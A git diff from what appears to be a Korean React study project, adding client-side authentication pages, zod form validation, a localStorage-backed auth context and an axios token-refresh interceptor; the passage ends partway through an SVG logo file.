@@ -0,0 +1,11 @@
+import { Navigate } from 'react-router-dom';
+import { useAuth } from '../context/AuthContext';
+
+const ProtectedRoute = ({ children }: { children: React.ReactNode }) => {
+  const { user } = useAuth();
+
+  if (!user) return <Navigate to="/login" replace />;
+  return <>{children}</>;
+};
+
+export default ProtectedRoute;
\ No newline at end of file
diff --git a/mission/chapter05/mission_1/src/context/AuthContext.tsx b/mission/chapter05/mission_1/src/context/AuthContext.tsx
new file mode 100644
index 0000000..4d2a6a8
--- /dev/null
+++ b/mission/chapter05/mission_1/src/context/AuthContext.tsx
@@ -0,0 +1,44 @@
+import { createContext, useContext, useState } from 'react';
+
+interface User {
+  email: string;
+  nickname: string;
+}
+
+interface AuthContextType {
+  user: User | null;
+  login: (user: User) => void;
+  logout: () => void;
+}
+
+const AuthContext = createContext<AuthContextType | null>(null);
+
+export const AuthProvider = ({ children }: { children: React.ReactNode }) => {
+  const [user, setUser] = useState<User | null>(() => {
+    // 로컬스토리지에서 초기값 불러오기
+    const stored = localStorage.getItem('user');
+    return stored ? JSON.parse(stored) : null;
+  });
+
+  const login = (userData: User) => {
+    setUser(userData);
+    localStorage.setItem('user', JSON.stringify(userData));
+  };
+
+  const logout = () => {
+    setUser(null);
+    localStorage.removeItem('user');
+  };
+
+  return (
+    <AuthContext.Provider value={{ user, login, logout }}>
+      {children}
+    </AuthContext.Provider>
+  );
+};
+
+export const useAuth = () => {
+  const context = useContext(AuthContext);
+  if (!context) throw new Error('AuthProvider 밖에서 사용 불가!');
+  return context;
+};
\ No newline at end of file
diff --git a/mission/chapter05/mission_1/src/hooks/useForm.ts b/mission/chapter05/mission_1/src/hooks/useForm.ts
new file mode 100644
index 0000000..dcfc423
--- /dev/null
+++ b/mission/chapter05/mission_1/src/hooks/useForm.ts
@@ -0,0 +1,54 @@
+import { useEffect, useState, type ChangeEvent } from 'react';
+
+interface UseFormProps<T> {
+  initialValue: T;
+  //값이 올바른지 검증하는 함수
+  validate: (values: T) => Record<keyof T, string>;
+}
+
+function useForm<T>({ initialValue, validate }: UseFormProps<T>) {
+  const [values, setValues] = useState(initialValue);
+
+  //"email": true -> touch 됨
+  //"password": false -> touch 안 됨
+  const [touched, setTouched] = useState<Record<string, boolean>>();
+
+  //"email": 이메일은 반드시 @를 포함해야 합니다.
+  const [errors, setErrors] = useState<Record<string, string>>();
+
+  //사용자가 입력값 바꿀 때 실행되는 함수
+  const handleChange = (name: keyof T, text: string) => {
+    setValues({
+      ...values, //기존 입력값 유지
+      [name]: text,
+    });
+  };
+
+  const handleBlur = (name: keyof T) => {
+    setTouched({
+      ...touched,
+      [name]: true,
+    });
+  };
+
+  //이메일과 비밀번호 인풋, 속성들을 가져오는 것
+  const getInputProps = (name: keyof T) => {
+    const value = values[name];
+    const onChange = (e: ChangeEvent<HTMLInputElement | HTMLTextAreaElement>) =>
+      handleChange(name, e.target.value);
+    const onBlur = () => handleBlur(name);
+
+    return { value, onChange, onBlur };
+  };
+
+  //values가 변경될 때 에러검증 로직
+  //변경될 때마다 로직이 변경되어야 하니 useEffect 사용
+  useEffect(() => {
+    const newErrors = validate(values);
+    setErrors(newErrors); //오류 메시지 업데이트
+  }, [validate, values]);
+
+  return {values, errors, touched, getInputProps};
+}
+
+export default useForm;
\ No newline at end of file
diff --git a/mission/chapter05/mission_1/src/hooks/useLocalStorage.ts b/mission/chapter05/mission_1/src/hooks/useLocalStorage.ts
new file mode 100644
index 0000000..c6a3ad1
--- /dev/null
+++ b/mission/chapter05/mission_1/src/hooks/useLocalStorage.ts
@@ -0,0 +1,29 @@
+import { useState } from 'react';
+
+function useLocalStorage<T>(key: string, initialValue: T) {
+  // 로컬스토리지에서 값을 가져오는 함수
+  const [storedValue, setStoredValue] = useState<T>(() => {
+    try {
+      const item = window.localStorage.getItem(key);
+      // 저장된 값이 있으면 파싱해서 반환, 없으면 초기값 반환
+      return item ? JSON.parse(item) : initialValue;
+    } catch (error) {
+      console.error(error);
+      return initialValue;
+    }
+  });
+
+  // 값을 저장하는 함수
+  const setValue = (value: T) => {
+    try {
+      setStoredValue(value);
+      window.localStorage.setItem(key, JSON.stringify(value));
+    } catch (error) {
+      console.error(error);
+    }
+  };
+
+  return [storedValue, setValue] as const;
+}
+
+export default useLocalStorage;
\ No newline at end of file
diff --git a/mission/chapter05/mission_1/src/index.css b/mission/chapter05/mission_1/src/index.css
new file mode 100644
index 0000000..d4b5078
--- /dev/null
+++ b/mission/chapter05/mission_1/src/index.css
@@ -0,0 +1 @@
+@import 'tailwindcss';
diff --git a/mission/chapter05/mission_1/src/layouts/HomeLayout.tsx b/mission/chapter05/mission_1/src/layouts/HomeLayout.tsx
new file mode 100644
index 0000000..d44989b
--- /dev/null
+++ b/mission/chapter05/mission_1/src/layouts/HomeLayout.tsx
@@ -0,0 +1,16 @@
+import { Outlet } from 'react-router-dom';
+import Navbar from '../components/Navbar';
+
+const HomeLayout = () => {
+  return (
+    <div className="h-dvh flex flex-col">
+      <Navbar />
+      <main className="flex-1">
+        <Outlet />
+      </main>
+      <footer>Footer</footer>
+    </div>
+  );
+};
+
+export default HomeLayout;
diff --git a/mission/chapter05/mission_1/src/main.tsx b/mission/chapter05/mission_1/src/main.tsx
new file mode 100644
index 0000000..bef5202
--- /dev/null
+++ b/mission/chapter05/mission_1/src/main.tsx
@@ -0,0 +1,10 @@
+import { StrictMode } from 'react'
+import { createRoot } from 'react-dom/client'
+import './index.css'
+import App from './App.tsx'
+
+createRoot(document.getElementById('root')!).render(
+  <StrictMode>
+    <App />
+  </StrictMode>,
+)
diff --git a/mission/chapter05/mission_1/src/pages/HomePage.tsx b/mission/chapter05/mission_1/src/pages/HomePage.tsx
new file mode 100644
index 0000000..07f9106
--- /dev/null
+++ b/mission/chapter05/mission_1/src/pages/HomePage.tsx
@@ -0,0 +1,24 @@
+import useLocalStorage from '../hooks/useLocalStorage';
+
+const HomePage = () => {
+  const [user] = useLocalStorage<{ email: string; nickname: string } | null>(
+    'user',
+    null,
+  );
+
+  return (
+    <div className="flex flex-col items-center justify-center h-full gap-8 bg-gradient-to-b from-blue-50 to-white">
+      <div className="flex flex-col items-center gap-4">
+        <div className="text-8xl">🌸</div>
+        <h1 className="text-3xl font-bold text-blue-400">환영해요!</h1>
+        <p className="text-gray-400 text-sm">
+          {user
+            ? `${user.nickname}님, 반갑습니다 😊`
+            : '로그인하고 시작해보세요!'}
+        </p>
+      </div>
+    </div>
+  );
+};
+
+export default HomePage;
diff --git a/mission/chapter05/mission_1/src/pages/LoginPage.tsx b/mission/chapter05/mission_1/src/pages/LoginPage.tsx
new file mode 100644
index 0000000..97ba04d
--- /dev/null
+++ b/mission/chapter05/mission_1/src/pages/LoginPage.tsx
@@ -0,0 +1,80 @@
+import { useNavigate } from 'react-router-dom';
+import { useForm } from 'react-hook-form';
+import { zodResolver } from '@hookform/resolvers/zod';
+import { signinSchema, type SigninFormValues } from '../utils/validate';
+import { useAuth } from '../context/AuthContext';
+
+const LoginPage = () => {
+  const navigate = useNavigate();
+const {login} = useAuth();
+
+  const {
+    register, //input에 연결하는 함수
+    handleSubmit, //제출 처리 함수
+    formState: { errors, isValid }, //에러상태, 유효성 여부
+  } = useForm<SigninFormValues>({
+    resolver: zodResolver(signinSchema), //zod 스미카 연결
+    mode: 'onChange', //입력할 때마다 실시간 검사
+  });
+
+  const onSubmit = (data: SigninFormValues) => {
+    login({
+      email: data.email,
+      nickname: data.email.split('@')[0],
+    });
+    navigate('/');
+  };
+
+  return (
+    <div className="flex flex-col h-full">
+      {/* 헤더 */}
+      <div className="relative flex items-center justify-center py-4 border-b border-gray-200">
+        <button
+          onClick={() => navigate('/')}
+          className="absolute left-4 text-gray-600 hover:text-gray-900 transition-colors"
+        >
+          ＜
+        </button>
+        <h1 className="text-lg font-semibold">로그인</h1>
+      </div>
+
+      {/* 폼 */}
+      <div className="flex flex-col items-center justify-center flex-1 gap-4">
+        <div className="flex flex-col gap-3 w-[300px]">
+          <input
+            {...register('email')}
+            className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+              ${errors?.email ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+            type="email"
+            placeholder="이메일을 입력해주세요!"
+          />
+          {errors.email && (
+            <div className="text-red-500 text-sm">{errors.email.message}</div>
+          )}
+          <input
+            {...register('password')}
+            className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+              ${errors.password ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+            type="password"
+            placeholder="비밀번호를 입력해주세요!"
+          />
+          {errors.password && (
+            <div className="text-red-500 text-sm">
+              {errors.password.message}
+            </div>
+          )}
+          <button
+            type="button"
+            onClick={handleSubmit(onSubmit)}
+            disabled={!isValid}
+            className="w-full bg-blue-300 text-white py-3 rounded-md text-lg font-medium hover:bg-blue-500 transition-colors cursor-pointer disabled:bg-gray-300"
+          >
+            로그인
+          </button>
+        </div>
+      </div>
+    </div>
+  );
+};
+
+export default LoginPage;
diff --git a/mission/chapter05/mission_1/src/pages/MyPage.tsx b/mission/chapter05/mission_1/src/pages/MyPage.tsx
new file mode 100644
index 0000000..121422f
--- /dev/null
+++ b/mission/chapter05/mission_1/src/pages/MyPage.tsx
@@ -0,0 +1,39 @@
+import { useNavigate } from 'react-router-dom';
+import { useAuth } from '../context/AuthContext';
+
+const MyPage = () => {
+  const navigate = useNavigate();
+  const { user, logout } = useAuth();
+
+  return (
+    <div className="flex flex-col h-full">
+      {/* 헤더 */}
+      <div className="relative flex items-center justify-center py-4 border-b border-gray-200">
+        <button
+          onClick={() => navigate('/')}
+          className="absolute left-4 text-gray-600 hover:text-gray-900 transition-colors"
+        >
+          ＜
+        </button>
+        <h1 className="text-lg font-semibold">마이페이지</h1>
+      </div>
+
+      {/* 본문 */}
+      <div className="flex flex-col items-center justify-center flex-1 gap-6">
+        <div className="text-6xl">👤</div>
+        <div className="flex flex-col items-center gap-2">
+          <h2 className="text-2xl font-bold">{user?.nickname}</h2>
+          <p className="text-gray-400 text-sm">{user?.email}</p>
+        </div>
+        <button
+          onClick={() => { logout(); navigate('/'); }}
+          className="px-6 py-2 text-sm border border-gray-300 rounded-md hover:bg-gray-100 transition-colors"
+        >
+          로그아웃
+        </button>
+      </div>
+    </div>
+  );
+};
+
+export default MyPage;
\ No newline at end of file
diff --git a/mission/chapter05/mission_1/src/pages/NotFoundPage.tsx b/mission/chapter05/mission_1/src/pages/NotFoundPage.tsx
new file mode 100644
index 0000000..6f316cb
--- /dev/null
+++ b/mission/chapter05/mission_1/src/pages/NotFoundPage.tsx
@@ -0,0 +1,5 @@
+const NotFound = () => {
+  return <div className='text-2xl text-red-500 justify-center'>찾을 수 없는 페이지입니다</div>;
+};
+
+export default NotFound;
diff --git a/mission/chapter05/mission_1/src/pages/SignupPage.tsx b/mission/chapter05/mission_1/src/pages/SignupPage.tsx
new file mode 100644
index 0000000..e4dc508
--- /dev/null
+++ b/mission/chapter05/mission_1/src/pages/SignupPage.tsx
@@ -0,0 +1,178 @@
+import { useState } from 'react';
+import { useNavigate } from 'react-router-dom';
+import { useForm } from 'react-hook-form';
+import { zodResolver } from '@hookform/resolvers/zod';
+import { signupSchema, type SignupFormValues } from '../utils/validate';
+import { useAuth } from '../context/AuthContext';
+
+const SignupPage = () => {
+  const navigate = useNavigate();
+  const { login } = useAuth();
+  const [step, setStep] = useState(1); // 현재 단계 (1, 2, 3)
+  const [showPassword, setShowPassword] = useState(false);
+  const [showPasswordCheck, setShowPasswordCheck] = useState(false);
+
+  const {
+    register,
+    handleSubmit,
+    watch, // 특정 필드 값을 실시간으로 감시
+    formState: { errors },
+  } = useForm<SignupFormValues>({
+    resolver: zodResolver(signupSchema),
+    mode: 'onChange',
+  });
+
+  const onSubmit = (data: SignupFormValues) => {
+    login({
+      email: data.email,
+      nickname: data.nickname,
+    });
+    navigate('/'); // 회원가입 완료 후 홈으로
+  };
+
+  // 각 단계별 유효성 검사
+  const email = watch('email');
+  const password = watch('password');
+  const passwordCheck = watch('passwordCheck');
+  const nickname = watch('nickname');
+
+  const isStep1Valid = !errors.email && email?.length > 0;
+  const isStep2Valid =
+    !errors.password &&
+    !errors.passwordCheck &&
+    password?.length > 0 &&
+    passwordCheck?.length > 0 &&
+    password === passwordCheck;
+  const isStep3Valid = !errors.nickname && nickname?.length > 0;
+
+  return (
+    <div className="flex flex-col h-full">
+      {/* 헤더 */}
+      <div className="relative flex items-center justify-center py-4 border-b border-gray-200">
+        <button
+          onClick={() => (step === 1 ? navigate('/') : setStep(step - 1))}
+          className="absolute left-4 text-gray-600 hover:text-gray-900 transition-colors"
+        >
+          ＜
+        </button>
+        <h1 className="text-lg font-semibold">회원가입</h1>
+      </div>
+
+      <div className="flex flex-col items-center justify-center flex-1">
+        <div className="flex flex-col gap-3 w-[300px]">
+          {/* 1단계: 이메일 */}
+          {step === 1 && (
+            <>
+              <input
+                {...register('email')}
+                className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+                  ${errors.email ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+                type="email"
+                placeholder="이메일을 입력해주세요!"
+              />
+              {errors.email && (
+                <div className="text-red-500 text-sm">
+                  {errors.email.message}
+                </div>
+              )}
+              <button
+                type="button"
+                onClick={() => setStep(2)}
+                disabled={!isStep1Valid}
+                className="w-full bg-blue-300 text-white py-3 rounded-md text-lg font-medium hover:bg-blue-500 transition-colors cursor-pointer disabled:bg-gray-300"
+              >
+                다음
+              </button>
+            </>
+          )}
+
+          {/* 2단계: 비밀번호 */}
+          {step === 2 && (
+            <>
+              <div className="text-gray-500 text-sm">{email}</div>
+              <div className="relative">
+                <input
+                  {...register('password')}
+                  className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+      ${errors.password ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+                  type={showPassword ? 'text' : 'password'}
+                  placeholder="비밀번호를 입력해주세요!"
+                />
+                <button
+                  type="button"
+                  onClick={() => setShowPassword(!showPassword)}
+                  className="absolute right-3 top-1/2 -translate-y-1/2 text-gray-400 text-sm"
+                >
+                  {showPassword ? '🙈' : '👁️'}
+                </button>
+              </div>
+              {errors.password && (
+                <div className="text-red-500 text-sm">
+                  {errors.password.message}
+                </div>
+              )}
+              {/*비밀번호 다시 한번 체크 */}
+              <div className="relative">
+                <input
+                  {...register('passwordCheck')}
+                  className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+      ${errors.passwordCheck ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+                  type={showPasswordCheck ? 'text' : 'password'}
+                  placeholder="비밀번호를 다시 입력해주세요!"
+                />
+                <button
+                  type="button"
+                  onClick={() => setShowPasswordCheck(!showPasswordCheck)}
+                  className="absolute right-3 top-1/2 -translate-y-1/2 text-gray-400 text-sm"
+                >
+                  {showPasswordCheck ? '🙈' : '👁️'}
+                </button>
+              </div>
+              {passwordCheck?.length > 0 && password !== passwordCheck && (
+                <div className="text-red-500 text-sm">
+                  비밀번호가 일치하지 않습니다
+                </div>
+              )}
+              <button
+                type="button"
+                onClick={() => setStep(3)}
+                disabled={!isStep2Valid}
+                className="w-full bg-blue-300 text-white py-3 rounded-md text-lg font-medium hover:bg-blue-500 transition-colors cursor-pointer disabled:bg-gray-300"
+              >
+                다음
+              </button>
+            </>
+          )}
+
+          {/* 3단계: 닉네임 */}
+          {step === 3 && (
+            <>
+              <input
+                {...register('nickname')}
+                className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+                  ${errors.nickname ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+                type="text"
+                placeholder="닉네임을 입력해주세요!"
+              />
+              {errors.nickname && (
+                <div className="text-red-500 text-sm">
+                  {errors.nickname.message}
+                </div>
+              )}
+              <button
+                type="button"
+                onClick={handleSubmit(onSubmit)}
+                disabled={!isStep3Valid}
+                className="w-full bg-blue-300 text-white py-3 rounded-md text-lg font-medium hover:bg-blue-500 transition-colors cursor-pointer disabled:bg-gray-300"
+              >
+                회원가입 완료
+              </button>
+            </>
+          )}
+        </div>
+      </div>
+    </div>
+  );
+};
+
+export default SignupPage;
diff --git a/mission/chapter05/mission_1/src/utils/validate.ts b/mission/chapter05/mission_1/src/utils/validate.ts
new file mode 100644
index 0000000..8f5107e
--- /dev/null
+++ b/mission/chapter05/mission_1/src/utils/validate.ts
@@ -0,0 +1,30 @@
+import { z } from 'zod';
+
+//로그인 스키마 (규칙 정의)
+export const signinSchema = z.object({
+  email: z.string().email('올바른 이메일 형식이 아닙니다'),
+  password: z
+    .string()
+    .min(8, '비밀번호는 8자 이상이어야 합니다.')
+    .max(20, '비밀번호는 20자 이하여야 합니다'),
+});
+
+//회원가입 스키마
+export const signupSchema = z.object({
+  email: z.string().email('올바른 이메일 형식이 아닙니다'),
+  password: z
+    .string()
+    .min(8, '비밀번호는 8자 이상이어야 합니다')
+    .max(20, '비밀번호는 20자 이하여야 합니다'),
+  passwordCheck: z.string(),
+  nickname: z.string().min(1, '닉네임을 입력해주세요'),
+})
+.refine((data) => data.password === data.passwordCheck, {
+  //두 값을 비교하는 추가 검사
+  message: "비밀번호가 일치하지 않습니다",
+  path: ['passwordCheck'], //passwordCheck 필드에 에러 표시
+})
+
+//스키마로부터 타입 자동 생성
+export type SigninFormValues = z.infer<typeof signinSchema>;
+export type SignupFormValues = z.infer<typeof signupSchema>;
\ No newline at end of file
diff --git a/mission/chapter05/mission_2/src/App.css b/mission/chapter05/mission_2/src/App.css
new file mode 100644
index 0000000..e69de29
diff --git a/mission/chapter05/mission_2/src/App.tsx b/mission/chapter05/mission_2/src/App.tsx
new file mode 100644
index 0000000..9976985
--- /dev/null
+++ b/mission/chapter05/mission_2/src/App.tsx
@@ -0,0 +1,48 @@
+import './App.css';
+import { createBrowserRouter, RouterProvider } from 'react-router-dom';
+import HomeLayout from './layouts/HomeLayout';
+import NotFound from './pages/NotFoundPage';
+import LoginPage from './pages/LoginPage';
+import HomePage from './pages/HomePage';
+import SignupPage from './pages/SignupPage';
+import MyPage from './pages/MyPage';
+import ProtectedRoute from './components/ProtectedRoute';
+import { AuthProvider } from './context/AuthContext';
+
+const router = createBrowserRouter([
+  {
+    path: '/',
+    element: <HomeLayout />,
+    errorElement: <NotFound />,
+    children: [
+      { index: true, element: <HomePage /> },
+      {
+        path: 'mypage',
+        element: (
+          <ProtectedRoute>
+            <MyPage />
+          </ProtectedRoute>
+        ),
+      },
+    ],
+  },
+  {
+    path: '/login',
+    element: <LoginPage />,
+    errorElement: <NotFound />,
+  },
+  {
+    path: '/signup',
+    element: <SignupPage />,
+    errorElement: <NotFound />,
+  },
+]);
+function App() {
+  return (
+    <AuthProvider>
+      <RouterProvider router={router} />
+    </AuthProvider>
+  );
+}
+
+export default App;
diff --git a/mission/chapter05/mission_2/src/api/axios.ts b/mission/chapter05/mission_2/src/api/axios.ts
new file mode 100644
index 0000000..0f27b09
--- /dev/null
+++ b/mission/chapter05/mission_2/src/api/axios.ts
@@ -0,0 +1,64 @@
+import axios from 'axios';
+
+const axiosInstance = axios.create({
+  baseURL: 'http://localhost:8000/v1',
+});
+
+// 요청 인터셉터
+axiosInstance.interceptors.request.use((config) => {
+  const accessToken = localStorage.getItem('accessToken');
+
+  if (accessToken) {
+    config.headers.Authorization = `Bearer ${accessToken}`;
+  }
+  return config;
+});
+
+// 응답 인터셉터
+axiosInstance.interceptors.response.use(
+  // 성공 응답은 그냥 통과
+  (response) => response,
+
+  // 실패 응답(에러)은 여기서 처리
+  async (error) => {
+    const originalRequest = error.config;
+
+    // 401 = 토큰 만료
+    if (error.response?.status === 401 && !originalRequest._retry) {
+      // 재시도 표시 → 한 번만 재시도하도록 기록
+      originalRequest._retry = true;
+
+      try {
+        const refreshToken = localStorage.getItem('refreshToken');
+
+        const response = await axios.post(
+          'http://localhost:8000/v1/auth/refresh',
+          {
+            refresh: refreshToken,
+          },
+        );
+
+        // 새로 받은 accessToken 저장
+        const newAccessToken = response.data.data.accessToken;
+        localStorage.setItem('accessToken', newAccessToken);
+
+        // 실패했던 요청 헤더도 새 토큰으로 교체
+        originalRequest.headers.Authorization = `Bearer ${newAccessToken}`;
+
+        // 실패했던 요청 재시도
+        return axiosInstance(originalRequest);
+      } catch (refreshError) {
+        // refreshToken도 만료 → 강제 로그아웃
+        localStorage.removeItem('accessToken');
+        localStorage.removeItem('refreshToken');
+        localStorage.removeItem('user');
+        window.location.href = '/login';
+        return Promise.reject(refreshError);
+      }
+    }
+
+    return Promise.reject(error);
+  },
+);
+
+export default axiosInstance;
diff --git a/mission/chapter05/mission_2/src/assets/hero.png b/mission/chapter05/mission_2/src/assets/hero.png
new file mode 100644
index 0000000..cc51a3d
Binary files /dev/null and b/mission/chapter05/mission_2/src/assets/hero.png differ
diff --git a/mission/chapter05/mission_2/src/assets/react.svg b/mission/chapter05/mission_2/src/assets/react.svg
new file mode 100644
index 0000000..6c87de9
--- /dev/null
+++ b/mission/chapter05/mission_2/src/assets/react.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" role="img" class="iconify iconify--logos" width="35.93" height="32" preserveAspectRatio="xMidYMid meet" viewBox="0 0 256 228"><path fill="#00D8FF" d="M210.483 73.824a171.49 171.49 0 0 0-8.24-2.597c.465-1.9.893-3.777 1.273-5.621c6.238-30.281 2.16-54.676-11.769-62.708c-13.355-7.7-35.196.329-57.254 19.526a171.23 171.23 0 0 0-6.375 5.848a155.866 155.866 0 0 0-4.241-3.917C100.759 3.829 77.587-4.822 63.673 3.233C50.33 10.957 46.379 33.89 51.995 62.588a170.974 170.974 0 0 0 1.892 8.48c-3.28.932-6.445 1.924-9.474 2.98C17.309 83.498 0 98.307 0 113.668c0 15.865 18.582 31.778 46.812 41.427a145.52 145.52 0 0 0 6.921 2.165a167.467 167.467 0 0 0-2.01 9.138c-5.354 28.2-1.173 50.591 12.134 58.266c13.744 7.926 36.812-.22 59.273-19.855a145.567 145.567 0 0 0 5.342-4.923a168.064 168.064 0 0 0 6.92 6.314c21.758 18.722 43.246 26.282 56.54 18.586c13.731-7.949 18.194-32.003 12.4-61.268a145.016 145.016 0 0 0-1.535-6.842c1.62-.48 3.21-.974 4.76-1.488c29.348-9.723 48.443-25.443 48.443-41.52c0-15.417-17.868-30.326-45.517-39.844Zm-6.365 70.984c-1.4.463-2.836.91-4.3 1.345c-3.24-10.257-7.612-21.163-12.963-32.432c5.106-11 9.31-21.767 12.459-31.957c2.619.758 5.16 1.557 7.61 2.4c23.69 8.156 38.14 20.213 38.14 29.504c0 9.896-15.606 22.743-40.946 31.14Zm-10.514 20.834c2.562 12.94 2.927 24.64 1.23 33.787c-1.524 8.219-4.59 13.698-8.382 15.893c-8.067 4.67-25.32-1.4-43.927-17.412a156.726 156.726 0 0 1-6.437-5.87c7.214-7.889 14.423-17.06 21.459-27.246c12.376-1.098 24.068-2.894 34.671-5.345a134.17 134.17 0 0 1 1.386 6.193ZM87.276 214.515c-7.882 2.783-14.16 2.863-17.955.675c-8.075-4.657-11.432-22.636-6.853-46.752a156.923 156.923 0 0 1 1.869-8.499c10.486 2.32 22.093 3.988 34.498 4.994c7.084 9.967 14.501 19.128 21.976 27.15a134.668 134.668 0 0 1-4.877 4.492c-9.933 8.682-19.886 14.842-28.658 17.94ZM50.35 144.747c-12.483-4.267-22.792-9.812-29.858-15.863c-6.35-5.437-9.555-10.836-9.555-15.216c0-9.322 13.897-21.212 37.076-29.293c2.813-.98 5.757-1.905 8.812-2.773c3.204 10.42 7.406 21.315 12.477 32.332c-5.137 11.18-9.399 22.249-12.634 32.792a134.718 134.718 0 0 1-6.318-1.979Zm12.378-84.26c-4.811-24.587-1.616-43.134 6.425-47.789c8.564-4.958 27.502 2.111 47.463 19.835a144.318 144.318 0 0 1 3.841 3.545c-7.438 7.987-14.787 17.08-21.808 26.988c-12.04 1.116-23.565 2.908-34.161 5.309a160.342 160.342 0 0 1-1.76-7.887Zm110.427 27.268a347.8 347.8 0 0 0-7.785-12.803c8.168 1.033 15.994 2.404 23.343 4.08c-2.206 7.072-4.956 14.465-8.193 22.045a381.151 381.151 0 0 0-7.365-13.322Zm-45.032-43.861c5.044 5.465 10.096 11.566 15.065 18.186a322.04 322.04 0 0 0-30.257-.006c4.974-6.559 10.069-12.652 15.192-18.18ZM82.802 87.83a323.167 323.167 0 0 0-7.227 13.238c-3.184-7.553-5.909-14.98-8.134-22.152c7.304-1.634 15.093-2.97 23.209-3.984a321.524 321.524 0 0 0-7.848 12.897Zm8.081 65.352c-8.385-.936-16.291-2.203-23.593-3.793c2.26-7.3 5.045-14.885 8.298-22.6a321.187 321.187 0 0 0 7.257 13.246c2.594 4.48 5.28 8.868 8.038 13.147Zm37.542 31.03c-5.184-5.592-10.354-11.779-15.403-18.433c4.902.192 9.899.29 14.978.29c5.218 0 10.376-.117 15.453-.343c-4.985 6.774-10.018 12.97-15.028 18.486Zm52.198-57.817c3.422 7.8 6.306 15.345 8.596 22.52c-7.422 1.694-15.436 3.058-23.88 4.071a382.417 382.417 0 0 0 7.859-13.026a347.403 347.403 0 0 0 7.425-13.565Zm-16.898 8.101a358.557 358.557 0 0 1-12.281 19.815a329.4 329.4 0 0 1-23.444.823c-7.967 0-15.716-.248-23.178-.732a310.202 310.202 0 0 1-12.513-19.846h.001a307.41 307.41 0 0 1-10.923-20.627a310.278 310.278 0 0 1 10.89-20.637l-.001.001a307.318 307.318 0 0 1 12.413-19.761c7.613-.576 15.42-.876 23.31-.876H128c7.926 0 15.743.303 23.354.883a329.357 329.357 0 0 1 12.335 19.695a358.489 358.489 0 0 1 11.036 20.54a329.472 329.472 0 0 1-11 20.722Zm22.56-122.124c8.572 4.944 11.906 24.881 6.52 51.026c-.344 1.668-.73 3.367-1.15 5.09c-10.622-2.452-22.155-4.275-34.23-5.408c-7.034-10.017-14.323-19.124-21.64-27.008a160.789 160.789 0 0 1 5.888-5.4c18.9-16.447 36.564-22.941 44.612-18.3ZM128 90.808c12.625 0 22.86 10.235 22.86 22.86s-10.235 22.86-22.86 22.86s-22.86-10.235-22.86-22.86s10.235-22.86 22.86-22.86Z"></path></svg>
\ No newline at end of file
diff --git a/mission/chapter05/mission_2/src/assets/vite.svg b/mission/chapter05/mission_2/src/assets/vite.svg
new file mode 100644
index 0000000..5101b67
--- /dev/null
+++ b/mission/chapter05/mission_2/src/assets/vite.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" width="77" height="47" fill="none" aria-labelledby="vite-logo-title" viewBox="0 0 77 47"><title id="vite-logo-title">Vite</title><style>.parenthesis{fill:#000}@media (prefers-color-scheme:dark){.parenthesis{fill:#fff}}</style><path fill="#9135ff" d="M40.151 45.71c-.663.844-2.02.374-2.02-.699V34.708a2.26 2.26 0 0 0-2.262-2.262H24.493c-.92 0-1.457-1.04-.92-1.788l7.479-10.471c1.07-1.498 0-3.578-1.842-3.578H15.443c-.92 0-1.456-1.04-.92-1.788l9.696-13.576c.213-.297.556-.474.92-.474h28.894c.92 0 1.456 1.04.92 1.788l-7.48 10.472c-1.07 1.497 0 3.578 1.842 3.578h11.376c.944 0 1.474 1.087.89 1.83L40.153 45.712z"/><mask id="a" width="48" height="47" x="14" y="0" maskUnits="userSpaceOnUse" style="mask-type:alpha"><path fill="#000" d="M40.047 45.71c-.663.843-2.02.374-2.02-.699V34.708a2.26 2.26 0 0 0-2.262-2.262H24.389c-.92 0-1.457-1.04-.92-1.788l7.479-10.472c1.07-1.497 0-3.578-1.842-3.578H15.34c-.92 0-1.456-1.04-.92-1.788l9.696-13.575c.213-.297.556-.474.92-.474H53.93c.92 0 1.456 1.04.92 1.788L47.37 13.03c-1.07 1.498 0 3.578 1.842 3.578h11.376c.944 0 1.474 1.088.89 1.831L40.049 45.712z"/></mask><g mask="url(#a)"><g filter="url(#b)"><ellipse cx="5.508" cy="14.704" fill="#eee6ff" rx="5.508" ry="14.704" transform="rotate(269.814 20.96 11.29)scale(-1 1)"/></g><g filter="url(#c)"><ellipse cx="10.399" cy="29.851" fill="#eee6ff" rx="10.399" ry="29.851" transform="rotate(89.814 -16.902 -8.275)scale(1 -1)"/></g><g filter="url(#d)"><ellipse cx="5.508" cy="30.487" fill="#8900ff" rx="5.508" ry="30.487" transform="rotate(89.814 -19.197 -7.127)scale(1 -1)"/></g><g filter="url(#e)"><ellipse cx="5.508" cy="30.599" fill="#8900ff" rx="5.508" ry="30.599" transform="rotate(89.814 -25.928 4.177)scale(1 -1)"/></g><g filter="url(#f)"><ellipse cx="5.508" cy="30.599" fill="#8900ff" rx="5.508" ry="30.599" transform="rotate(89.814 -25.738 5.52)scale(1 -1)"/></g><g filter="url(#g)"><ellipse cx="14.072" cy="22.078" fill="#eee6ff" rx="14.072" ry="22.078" transform="rotate(93.35 31.245 55.578)scale(-1 1)"/></g><g filter="url(#h)"><ellipse cx="3.47" cy="21.501" fill="#8900ff" rx="3.47" ry="21.501" transform="rotate(89.009 35.419 55.202)scale(-1 1)"/></g><g filter="url(#i)"><ellipse cx="3.47" cy="21.501" fill="#8900ff" rx="3.47" ry="21.501" transform="rotate(89.009 35.419 55.202)scale(-1 1)"/></g><g filter="url(#j)"><ellipse cx="14.592" cy="9.743" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(39.51 14.592 9.743)"/></g><g filter="url(#k)"><ellipse cx="61.728" cy="-5.321" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(37.892 61.728 -5.32)"/></g><g filter="url(#l)"><ellipse cx="55.618" cy="7.104" fill="#00c2ff" rx="5.971" ry="9.665" transform="rotate(37.892 55.618 7.104)"/></g><g 